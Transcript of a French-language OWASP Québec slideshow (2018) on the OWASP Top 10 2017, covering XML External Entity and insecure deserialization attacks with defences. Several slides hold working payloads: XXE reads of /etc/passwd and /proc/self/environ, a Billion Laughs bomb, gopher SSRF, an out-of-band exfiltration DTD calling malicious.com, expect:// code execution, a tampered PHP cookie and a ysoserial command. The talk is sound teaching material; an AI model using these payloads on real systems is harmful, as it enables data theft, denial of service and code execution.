Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

What's new owasp top10 2017

205 views

Published on

Présentation de Louis Nadeau à OWASP Ville de Québec
20 mars 2018
Analyse du nouveau Top 10 OWASP et les différences avec les versions précédentes. Exemples de A4 XML External Entity (XXE) et de A8 Insecure Deserialization

Published in: Software
  • Be the first to comment

  • Be the first to like this

What's new owasp top10 2017

  1. 1. Nouveau Top 10 2017
  2. 2. Controverse 2017 - RC1
  3. 3. 2017
  4. 4. A4 XML EXTERNAL ENTITY (XXE)
  5. 5. A4 XML External Entity (XXE) • Attaque contre les parseurs XML • Prérequis: – Consommation de XML non fiable • Upload de fichier XML, fichier de configuration, etc. • SAML Token pour authentification SSO – Document Type Definition (DTD) – SOAP implémentions <1.2 • Conséquences – Dénie de service – Fuite de données – SSRF – Tunnel/Port scan – Contrôle de l’exécution
  6. 6. Qu’est-ce que le DTD? • «Une DTD décrit la grammaire du document — liste des éléments (ou balises), des attributs, leur contenu et leur agencement — ainsi que le vocabulaire supplémentaire sous la forme d'une liste d'Entité de caractère. » • Les DTD ont deux sortes de déclaration: – Externe • Public • System – Interne https://en.wikipedia.org/wiki/Document_type_definition
  7. 7. Qu’est-ce que le DTD? <!DOCTYPE sgml [ <!ELEMENT sgml ANY> <!ENTITY % std "standard SGML"> <!ENTITY % signature " — &author;."> <!ENTITY % question "Why couldn’t I publish my books directly in %std;?"> <!ENTITY % author "William Shakespeare"> ]> <sgml>&question;&signature;</sgml> ------------------------------------------------------------------------ <sgml>Why couldn’t I publish my books directly in standard SGML? — William Shakespeare.</sgml> https://en.wikipedia.org/wiki/Document_type_definition
  8. 8. Qu’est-ce qu’on peut faire de malicieux avec le DTD selon vous?
  9. 9. A4 XML External Entity (XXE) <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo> **Fonctionne seulement si on a une réflexion
  10. 10. A4 XML External Entity (XXE) <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo> root:x:0:0:root:/root:/bin/bash bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  11. 11. A4 XML External Entity (XXE) Billion Laughs Attack (aka LOL Bomb) <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
  12. 12. A4 XML External Entity (XXE) Reconnaissance quand on n’a pas de réflexion <!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
  13. 13. A4 XML External Entity (XXE) Autre exemple de dénie de service: <!ENTITY xxe SYSTEM "file:///dev/random" >]>
  14. 14. A4 XML External Entity (XXE) gopher://{host}:{port}/{type}{request} <?xml version="1.0 encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY date SYSTEM “gopher://172.16.0.1:3300/AAAAAAAAA" >]> <foo>&date;</foo>
  15. 15. A4 XML External Entity (XXE) https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf
  16. 16. A4 XML External Entity (XXE) https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf
  17. 17. A4 XML External Entity (XXE) • Attaque avec exfiltration: Out of Band (OOB) XXE Requête: <?xml version="1.0" ?> <!DOCTYPE a [ <!ENTITY % asd SYSTEM "http://malicious.com:4444/ext.dtd"> %asd; %c; ]> <a>&rrr;</a> Serveur externe: <!ENTITY % d SYSTEM "file:///proc/self/environ"> <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://malicious.com:2121/%d;'>">
  18. 18. A4 XML External Entity (XXE) • Remote Control Execution (RCE) <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <creds> <user>&xxe;</user> <pass>mypass</pass> </creds> “This extension allows to interact with processes through PTY” http://de2.php.net/manual/en/intro.expect.php
  19. 19. A4 Exemple intéressant • Exemple d’un cas réel: https://securityboulevard.com/2017/12/flaws -development-tools-expose-android-app- makers-attacks/ – Malformed manifest
  20. 20. A4 Défense • https://www.owasp.org/index.php/XML_Exter nal_Entity_(XXE)_Prevention_Cheat_Sheet • Ne pas utiliser de DTD et d’Entity, etc. • Bien connaitre sont parseur XML et utiliser des options sécuritaires
  21. 21. XML Parser Safe by Default? LINQ to XML Yes XmlDictionaryReader Yes XmlDocument ...prior to 4.5.2 No ...in versions 4.5.2 + Yes XmlNodeReader Yes XmlReader Yes XmlTextReader ...prior to 4.5.2 No ...in versions 4.5.2 + Yes XPathNavigator ...prior to 4.5.2 No ...in versions 4.5.2 + Yes XslCompiledTransform Yes A4 Défense .Net
  22. 22. A4.1 Exercices • Objectifs: 1. Déni de service en consommant toute la mémoire serveur 2. Voir des informations sensibles sur le serveur 3. Server Side Request Forgery (SSRF) • E.g. Forcer le serveur web à appeler un server NetCat – Consommer des données venant d’un autre serveur
  23. 23. Problème DUO SAML • Pas un XXE mais intéressant • https://duo.com/blog/duo-finds-saml- vulnerabilities-affecting-multiple- implementations <Subject> <NameID>user@user.com<!---->.evil.com</NameID> </Subject>
  24. 24. A8 INSECURE DESERIALIZATION
  25. 25. A8 Insecure Deserialization • Vulnérabilité du Top10 qui est la plus excitante • Plusieurs types de problèmes • Java-pocalypse en 2015-2017 – 70 librairies importantes affectées: https://www.sourceclear.com/blog/Commons- Collections-Deserialization-Vulnerability-Research-Findings/ – Exemple: Equifax – Oracle WebSphere, Java Struts, Cisco, Jenkins, Adobe, Android, PayPal • 2018 va être la même chose mais pour .Net – Pas juste pour XML, mais pour JSON aussi – https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks- wp.pdf#page=5
  26. 26. A8 Insecure Deserialization • Note du Top10: ”off the shelf exploits rarely work without changes or tweaks to the underlying exploit code” • Exploitable si l’application désérialise des objets venant d’une source non fiable. • Deux types définis dans le Top10: 1. Object and data structure related attacks where the attacker modifies application logic or achieves arbitrary remote code execution if there are classes available to the application that can change behavior during or after deserialization. 2. Typical data tampering attacks, such as access-control-related attacks, where existing data structures are used but the content is changed.
  27. 27. A8 Insecure Deserialization • Example du Top10 (Type 2): – Scenario #2: A PHP forum uses PHP object serialization to save a "super" cookie, containing the user's user ID, role, password hash, and other state: • a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";i:3;s:32:"b6a8b3bea87fe0e050 22f8f3c88bc960";} – An attacker changes the serialized object to give themselves admin privileges: • a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";i:3;s:32:"b6a8b3bea87fe0e050 22f8f3c88bc960";}
  28. 28. A8 Insecure Deserialization • On va parler de Type #1 pour .Net. – Même concept que le type #1 pour Java mais avec des gadgets un peu différent – L’outil privilégié est le même: Ysoserial • Connue depuis 2012 mais aucun Gadget avec RCE – Voir BH_US_12_Forshaw_Are_You_My_Type_WP.pdf • Depuis 2017, plusieurs RCE gadgets trouvé
  29. 29. A8 Insecure Deserialization • Qu’est-ce qui est affecté en .Net ? https://speakerdeck.com/pwntester/attacking-net-serialization
  30. 30. A8 Insecure Deserialization • https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/DEFCON-25-Alvaro-Munoz-JSON-attacks.pdf
  31. 31. A8 Insecure Deserialization • Comment ça marche? – Le désérialiseur appel, durant le processus de reconstruction d’un objet, un callback, un setter, un constructeur(qui n’est pas par défaut), un « toString » ou autres fonctions qui peuvent être définies dans l’objet désérialisé ou contrôlées par l’attaqueur. – L’attaqueur doit trouver une chaine de « gadgets » entre cet appel initial et une fonction qui donne le plein contrôle sur l’exécution du programme
  32. 32. A8 Insecure Deserialization • Prérequis: – Un objet venant d’une source malicieuse est désérialisé – Il y a une validation insuffisante du type de l’objet OU – Le type de l’objet n’est pas sécuritaire OU – La validation du type est faite après la construction de l'objet • Souvent un cast est fait après que l’objet est construit – Il y a une chaine de gadgets disponible
  33. 33. A8 Insecure Deserialization • Qu’est-ce qu’un « gadget » – Fonction accessible (framework) qui permet de capturer l’exécution – Exemples .Net: • System.Configuration.Install.AssemblyInstaller -> set_Path – • Execute payload on local assembly load • • System.Activities.Presentation.WorkflowDesigner -> set_PropertyInspectorFontAndColorData – • Arbitrary XAML load – • Requires Single Threaded Apartment (STA) thread • • System.Windows.ResourceDictionary -> set_Source – • Arbitrary XAML load – • Required to be able to work with setters of types derived from IDictionary • • System.Windows.Data.ObjectDataProvider -> set_(MethodName| ObjectInstance| ObjectType) – • Arbitrary Method Invocation
  34. 34. A8.1 Demo Ysoserial (.Net) • Jeu de mot avec la citation du Joker dans Batman • Objectifs: 1. Comprendre le code de sérialisation et désérialisation reçu pour le BinaryFormatter 2. Utiliser Ysoserial pour créer un fichier serialized.dat qui va prendre le contrôle de l’exécution et lancer « calc »
  35. 35. A8.1 Ysoserial (.Net) • Solution: – Ysoserial – SortedSet + Type confused delegate ysoserial.exe -o=raw -g=TypeConfuseDelegate -f=BinaryFormatter -c=calc • Noter que l’exception arrive après calc
  36. 36. A8.1 Ysoserial (.Net) • Analyse du code
  37. 37. A8 Défense • Ne pas désérialiser des objets non fiable • Quand vous devez désérialiser des objets non fiable utilisez une librairie sécuritaire – Assurez vous de bien connaitre votre librairie et ses options • Utilisez un “whitelist” d’objets que vous vous attendez à recevoir – Assurez-vous de faire la validation AVANT de créer l’objet (exemple SAML token)
  38. 38. Conclusions • Nouveau Top 10 2017 est très bien bâti • Tous les développeurs devraient connaitre ces 10 éléments par cœur • On va surement revenir plus tard cette année pour A10
  39. 39. Questions?

×